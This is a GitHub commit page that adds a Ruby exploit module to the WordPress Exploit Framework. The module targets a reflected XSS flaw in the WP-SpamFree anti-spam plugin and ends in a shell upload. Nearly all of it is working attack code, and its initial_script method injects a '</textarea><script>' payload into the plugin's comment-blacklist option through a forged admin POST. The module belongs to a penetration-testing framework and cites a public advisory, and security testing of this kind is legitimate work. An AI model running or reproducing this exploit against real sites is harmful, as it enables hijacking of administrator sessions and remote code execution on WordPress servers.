This repository was archived by the owner on Oct 22, 2020. It is now read-only.
File tree Expand file tree Collapse file tree 1 file changed +42
-0
lines changed
Expand file tree Collapse file tree 1 file changed +42
-0
lines changed Original file line number Diff line number Diff line change 1+ class Wpxf ::Exploit ::SpamfreeReflectedXssShellUpload < Wpxf ::Module
2+ include Wpxf ::WordPress ::StagedReflectedXss
3+
4+ def initialize
5+ super
6+
7+ update_info (
8+ name : 'WP-SpamFree Anti-Spam Reflected XSS Shell Upload' ,
9+ author : [
10+ 'Radjnies Bhansingh' , # Disclosure
11+ 'Rob Carr <rob[at]rastating.com>' # WPXF module
12+ ] ,
13+ references : [
14+ [ 'WPVDB' , '8752' ] ,
15+ [ 'URL' , 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_wp_spamfree_anti_spam_wordpress_plugin.html' ]
16+ ] ,
17+ date : 'Mar 02 2017'
18+ )
19+ end
20+
21+ def check
22+ check_plugin_version_from_readme ( 'wp-spamfree' )
23+ end
24+
25+ def vulnerable_url
26+ normalize_uri ( wordpress_url_admin , 'options-general.php?page=wp-spamfree%2Fwp-spamfree.php' )
27+ end
28+
29+ def initial_script
30+ create_basic_post_script (
31+ vulnerable_url ,
32+ 'submitted_wpsf_general_options' => '1' ,
33+ 'use_alt_cookie_method' => 'on' ,
34+ 'comment_logging_all' => 'on' ,
35+ 'enhanced_comment_blacklist' => 'on' ,
36+ 'wordpress_comment_blacklist' => "</textarea><script>#{ xss_ascii_encoded_include_script } <\\ /script>" ,
37+ 'allow_proxy_users' => 'on' ,
38+ 'promote_plugin_link' => 'on' ,
39+ 'submit_wpsf_general_options' => 'Update Options'
40+ )
41+ end
42+ end
You can’t perform that action at this time.
0 commit comments